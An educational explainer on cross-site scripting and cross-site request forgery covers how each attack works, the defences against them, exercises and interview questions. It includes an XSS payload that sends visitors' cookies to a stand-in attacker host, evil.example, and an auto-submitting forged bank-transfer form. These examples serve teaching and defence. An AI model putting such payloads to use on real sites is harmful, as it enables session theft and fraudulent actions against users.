Web Security Basics

Two of the most common ways attackers abuse a website's trust of its own content or its users, and why they work.

What is it?

A lot of web security problems boil down to one core issue: a browser generally trusts whatever content it's given, and a server generally trusts requests that look like they came from a legitimate, logged-in user. Attackers exploit that trust in two classic ways.

The first: imagine a site lets users post comments, and it displays those comments back to other visitors exactly as typed, without checking what's in them. If an attacker posts a comment that's actually a small piece of JavaScript instead of plain text, and the site displays it without neutralizing it, that script runs in every other visitor's browser as if the site itself had written it — able to steal their session, read their data, or act as them. This is called cross-site scripting, or XSS: sneaking attacker-controlled code into a page so it runs with the page's own trust and permissions.

The second: imagine you're logged into your bank in one browser tab, and in another tab you visit a malicious page. That malicious page secretly submits a request to your bank — say, a money transfer — using your browser. Because your browser automatically attaches your login cookie to any request it sends to the bank's domain, regardless of which tab triggered it, the bank's server sees what looks like a perfectly legitimate, authenticated request from you, and might act on it. This is called cross-site request forgery, or CSRF: tricking a victim's already-authenticated browser into sending a request the victim never actually intended to make.

The common thread in both: something ends up running or being trusted that the actual user never knowingly approved.

Explain like I'm 10

XSS is like a forger slipping a fake page into a book that everyone reads as if it were the real, trusted author's words. CSRF is like someone tricking you into signing a blank check while you're not paying attention, then filling in whatever amount they want, knowing your signature (your login session) is already valid.

Examples

An XSS vulnerability

// Comment submitted by an attacker:
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>

// If the site inserts this directly into the page HTML unescaped,
// this script runs in every visitor's browser who views the comment.

The attacker isn't hacking the server directly — they're getting the site to unknowingly serve the attacker's own script to other victims, which then runs with full access to that page, including reading cookies.

A CSRF request

<!-- Hosted on a malicious, unrelated site -->
<form action="https://bank.example/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById("f").submit();</script>

Just visiting this malicious page silently submits a form to the bank's real server. If the victim is currently logged into the bank in the same browser, their session cookie is attached automatically, and the bank may process it as a legitimate request.

How it works

XSS works because a browser can't tell the difference between "content the site's own developers wrote" and "content a user submitted that happens to look like code," unless the site explicitly neutralizes special characters before displaying user-submitted content back on the page (a process often called escaping or sanitizing). CSRF works because browsers automatically attach cookies for a domain to every request sent to that domain, no matter which page or tab initiated the request — the browser has no built-in way to know the request wasn't something the user actually intended.

Why does it exist?

Both attacks exist because trust on the web is based on patterns (this content is in the page, so treat it as the page's own; this request carries valid cookies, so treat it as the real user) that are easy for an attacker to exploit if a site doesn't defend against them directly. Understanding the plain mechanics of each attack is what makes the defenses against them (like escaping output, and requiring extra unpredictable tokens on sensitive requests) make sense, rather than feeling like arbitrary rules.

When to use it

Think about XSS anywhere your site displays content that came from a user — a comment, a username, a search term — rather than content your own developers wrote. Think about CSRF anywhere your site performs a meaningful action (changing a password, transferring money, deleting data) in response to a request, especially one relying only on cookies to identify the user.

When not to use it

These specific concerns are about a browser-based, cookie-and-content model. They don't map directly to systems with no browser or no shared session trust between requests, like a server-to-server API using signed tokens for every call — though those systems have their own, different security concerns to think through instead.

Common mistakes

  • Displaying user-submitted content directly in the page without escaping special characters, opening the door to XSS.

  • Assuming a valid session cookie alone proves a request was intentionally made by the user, which is exactly what CSRF exploits.

  • Treating security as something to bolt on at the end, rather than something to consider whenever user input is displayed or a sensitive action is performed.

Practice exercises

  1. Easy:

    In your own words, explain the difference between what XSS and CSRF actually get an attacker to do.

  2. Medium:

    Given a comment form that inserts user input directly into the page's HTML, describe exactly what a malicious comment could do to other visitors.

  3. Hard:

    Design a simple defense for a form-submission endpoint that would prevent the CSRF example above from succeeding, and explain why it works.

Interview questions

What is cross-site scripting (XSS), in plain terms?

Getting a website to display and run attacker-supplied code as if it were the site's own trusted content, typically by injecting it into content the site later renders unescaped.

What is cross-site request forgery (CSRF), in plain terms?

Tricking a victim's browser into sending a request to a site the victim is already logged into, so the request looks legitimate because the browser automatically attaches the victim's session cookie.

Why does a valid session cookie alone not prove a request was intentional?

Because browsers attach cookies to any request sent to a matching domain regardless of which page triggered it, so an attacker's page can cause the browser to send a fully authenticated-looking request the user never meant to make.